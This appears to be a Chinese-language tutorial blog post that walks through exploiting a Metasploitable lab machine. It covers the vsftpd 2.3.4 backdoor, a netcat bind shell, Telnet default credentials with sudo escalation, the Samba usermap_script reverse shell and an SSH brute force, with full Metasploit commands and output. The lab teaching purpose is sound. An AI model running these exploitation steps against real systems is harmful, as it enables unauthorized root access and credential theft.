iT邦幫忙

2024 iThome 鐵人賽

DAY 11
0
自我挑戰組

從零開始:資安滲透初探系列 第 11

10-2: 資安滲透初探: 漏洞利用與獲取訪問權限

  • 分享至 

  • xImage
  •  

今天會分享幾個漏洞利用的實作範例

利用vsftpd 2.3.4漏洞

步驟一:準備環境

  1. 啟動Metasploitable虛擬機器,並確認其IP地址(例如:192.168.1.5)。
  2. 打開兩個終端窗口:
    • 一個用於啟動Metasploit框架。
    • 另一個用於執行Nmap掃描,以確定目標機器上的服務版本。

步驟二:Nmap掃描

使用以下命令進行版本掃描:

sudo nmap -sV 192.168.1.5

輸入密碼後,等待掃描完成,查看FTP服務版本是否為vsftpd 2.3.4

步驟三:搜索漏洞

在終端中使用searchsploit命令查看是否存在該版本的漏洞:

searchsploit vsftpd 2.3.4

結果顯示有一個漏洞,且已存在Metasploit模組。

步驟四:在Metasploit中搜索漏洞

在Metasploit控制台中,搜索相關漏洞:

search vsftpd

找到相應的exploit模組,通常會顯示類似於exploit/unix/ftp/vsftpd_234_backdoor的信息。

步驟五:使用漏洞

選擇並使用此漏洞模組:

use exploit/unix/ftp/vsftpd_234_backdoor

步驟六:設置選項

查看並設置漏洞利用的參數:

show options

設置目標IP地址:

set RHOSTS 192.168.1.5

確認所有選項設置正確後,執行exploit命令:

exploit

步驟七:確認攻擊成功

如果成功,你將獲得一個命令行shell,可以執行命令。確認身份並驗證你已經獲得root權限:

whoami

此時,應顯示root,表示你已成功利用該漏洞,並獲得目標系統的最高權限。

步驟八:結束會話

在完成測試後,使用exit命令結束會話:

exit


這是一次成功的漏洞利用範例。這種類型的漏洞是因為在特定時間段內發佈的vsftpd版本中存在一個後門,而該版本可能在Metasploitable中故意設置為易受攻擊的版本,以便進行測試和學習。

錯誤配置 - Bind Shell 利用

步驟一:準備環境

  1. 啟動Metasploitable虛擬機器,並確認其IP地址(例如:192.168.1.5)。

  2. 打開終端並執行Nmap版本掃描,以檢查目標機器上的開放端口和服務版本:

    sudo nmap -sV 192.168.1.5
    
    

步驟二:識別錯誤配置

檢查Nmap掃描結果,注意是否存在不應存在的服務。此時,我們發現bind shell運行在1524端口,並且顯示metasploitable root shell。這意味著該端口上運行了一個沒有身份驗證的root shell,這是明顯的錯誤配置。

步驟三:使用Netcat進行連接

由於該端口運行的是bind shell,我們可以直接使用Netcat進行連接並獲得shell訪問。

  1. 打開終端,輸入以下命令以連接到目標端口:

    nc 192.168.1.5 1524
    
    

  1. 一旦連接成功,您將獲得目標機器上的root shell。

步驟四:驗證連接

  1. 輸入以下命令來驗證您已獲得root訪問:

    whoami
    
    

    輸出應顯示root,表明您已成功獲得目標系統的最高權限。

  2. 您可以執行其他命令,例如:

    ls
    ifconfig
    
    

    以檢查目標系統上的目錄和網絡配置信息。

小結

這是一個錯誤配置導致的漏洞,通常由於用戶配置不當而發生,這種情況在現實中很少見,但如果發生,則可能導致嚴重的安全風險。作為安全專家,識別和利用這類配置錯誤是一項重要的技能。

信息洩露 - Telnet 利用

步驟一:準備環境

  1. 啟動Metasploitable虛擬機器,並確認其IP地址(例如:192.168.1.5)。

  2. 使用Nmap執行版本掃描,以檢查目標機器上的開放端口和服務版本:

    sudo nmap -sV 192.168.1.5
    
    

步驟二:識別信息洩露

檢查Nmap掃描結果,注意端口23上運行的Telnet服務版本。此時,我們看到Linux telnetd版本未提供具體版本信息。

  1. 我們可以嘗試使用searchsploit搜索已知漏洞:

    searchsploit telnetd
    
    

    根據結果,我們發現並沒有直接適用於該版本的漏洞利用。

步驟三:使用默認憑據登錄Telnet

由於我們未能找到具體漏洞版本,我們將嘗試使用默認憑據進行登錄。

  1. 打開終端,輸入以下命令以連接到Telnet端口:

    telnet 192.168.1.5
    
    

  1. 當連接成功時,您將看到Telnet的歡迎橫幅,其中包括默認的登錄憑據信息:

    login with msfadmin/msfadmin
    
    
  2. 使用默認用戶名和密碼登錄:

    Username: msfadmin
    Password: msfadmin
    
    

步驟四:提升權限

  1. 登錄成功後,您將以msfadmin用戶身份進入系統:

    whoami
    
    

    此命令將顯示您目前的用戶身份,即msfadmin

  2. 為了獲得root權限,您可以使用以下命令提升權限:

    sudo su
    
    
  3. 當系統提示輸入msfadmin用戶的密碼時,輸入msfadmin

    Password: msfadmin
    
    
  4. 現在,您已經成為root用戶,您可以執行以下命令驗證:

    whoami
    
    

    此命令應該返回root,表示您已成功獲得最高權限。

小結

這是一個典型的信息洩露漏洞,通過暴露的默認憑據進行利用。在現實中,這樣的漏洞較少見,但它展示了信息洩露如何導致系統安全風險。

軟體漏洞 - Samba 利用

步驟一:準備環境

  1. 啟動 Metasploitable 虛擬機,並確認其 IP 地址(例如:192.168.1.5)。

  2. 使用 Nmap 執行版本掃描,以檢查目標機器上的開放端口和服務版本:

    sudo nmap -sV 192.168.1.5
    
    

  1. 查看掃描結果,注意端口 139 和 445 上的 Samba 服務。

    139/tcp open  netbios-ssn Samba smbd (workgroup: WORKGROUP)
    445/tcp open  netbios-ssn Samba smbd (workgroup: WORKGROUP)
    
    

步驟二:識別 Samba 版本

  1. 我們看到 Nmap 未能提供精確的 Samba 版本資訊,因此我們需要使用 Metasploit 框架中的輔助模組來探測 Samba 版本。

  2. 打開 Metasploit 控制台:

    msfconsole
    
    

  1. 使用以下命令來搜尋和使用 Samba 版本探測器:

    search samba
    use auxiliary/scanner/smb/smb_version
    
    
  2. 設定遠端主機(目標機器)的 IP 地址:

    set RHOSTS 192.168.1.5
    
    
  3. 執行掃描模組以獲取確切的 Samba 版本:

    run
    
    

    您應該會看到類似以下的輸出,顯示目標機器上運行的確切 Samba 版本:

    [*] 192.168.1.5:139      - SMB Detected (version: 3.0.20)
    
    

步驟三:尋找適用的漏洞

  1. 使用 searchsploit 工具來查找與 Samba 版本相關的漏洞利用代碼:

    searchsploit samba 3.0.20
    
    

結果顯示適用於我們目標版本的幾個漏洞,其中 `usermap script` 漏洞是我們感興趣的,因為它是 Metasploit 框架中的一個 Ruby 模組。
  1. Metasploit 中搜尋並使用該漏洞模組:

    search samba
    use exploit/multi/samba/usermap_script
    
    

步驟四:配置和運行漏洞利用

  1. 設定遠端主機 IP 地址:

    set RHOSTS 192.168.1.5
    
    
  2. 查看並設定必要的參數:

    show options
    set LHOST <your_kali_ip>
    set LPORT 4444
    
    
  3. 執行漏洞利用:

    exploit
    
    

您應該看到以下輸出,表示您已獲得目標系統上的命令行 shell:

```
[*] Command shell session 1 opened (192.168.1.5:4444 -> <your_kali_ip>:4444)

```

步驟五:驗證訪問

  1. 驗證您已成功訪問目標系統,並以 root 身份運行命令:

    whoami
    
    

    您應該看到 root 的輸出,表示您已獲得最高權限。

  2. 運行其他命令以驗證您的訪問,例如查看網絡介面配置:

    ifconfig
    
    

總結

通過識別目標系統上的 Samba 服務版本,並利用已知的漏洞,我們成功地獲得了目標系統的控制權。此方法展示了如何在真實環境中有效地進行漏洞利用和攻擊。

攻擊 SSH - 暴力破解攻擊

步驟一:準備環境

  1. 啟動 Metasploitable 虛擬機,並確認其 IP 地址(例如:192.168.1.5)。

  2. 使用 Nmap 執行版本掃描,以檢查目標機器上的開放端口和服務版本:

    sudo nmap -sV 192.168.1.5
    
    


3. 查看掃描結果,注意端口 22 上的 SSH 服務。

```
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

```

步驟二:設置用戶名和密碼列表

  1. 創建一個包含潛在用戶名的文本文件 usernames.txt

    nano usernames.txt
    
    


在文件中添加以下內容:

```
admin
root
test123
msfadmin

```
  1. 創建一個包含潛在密碼的文本文件 passwords.txt

    nano passwords.txt
    
    

    在文件中添加以下內容:

    password
    password123
    hello world
    msfadmin
    
    
  2. 確保這兩個文件保存到您的當前工作目錄中。

步驟三:使用 Metasploit 進行暴力破解攻擊

  1. 打開 Metasploit 控制台:

    msfconsole
    
    
  2. 搜尋並選擇適合的 SSH 暴力破解模組:

    search ssh
    use auxiliary/scanner/ssh/ssh_login
    
    
  3. 查看並設置必要的參數:

    show options
    set RHOSTS 192.168.1.5
    set USER_FILE /full/path/to/usernames.txt
    set PASS_FILE /full/path/to/passwords.txt
    set VERBOSE true
    
    

    注意:確保 USER_FILEPASS_FILE 的路徑正確。

  4. 執行暴力破解攻擊:

    run
    
    

    您應該會看到類似以下的輸出,顯示攻擊的進展:

    [*] Attempting to login...
    [-] 192.168.1.5 - LOGIN FAILED: msfadmin:password
    [+] 192.168.1.5 - SUCCESSFUL LOGIN: msfadmin:msfadmin
    
    


5. 成功後,您可以使用 ssh 命令手動連接到目標機器:

```bash
ssh msfadmin@192.168.1.5

```

小結

我們學習了如何使用暴力破解攻擊來攻擊 SSH 服務,以驗證弱密碼和默認憑據的安全性。這種攻擊方法可以幫助我們識別目標系統中潛在的安全漏洞。在真實場景中,記得使用更大、更全面的用戶名和密碼列表,以增加成功的機會。


上一篇
10-1: 資安滲透初探: 漏洞利用與獲取訪問權限
下一篇
11. 取得存取權限(病毒、木馬、有效負載...)
系列文
從零開始:資安滲透初探27
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言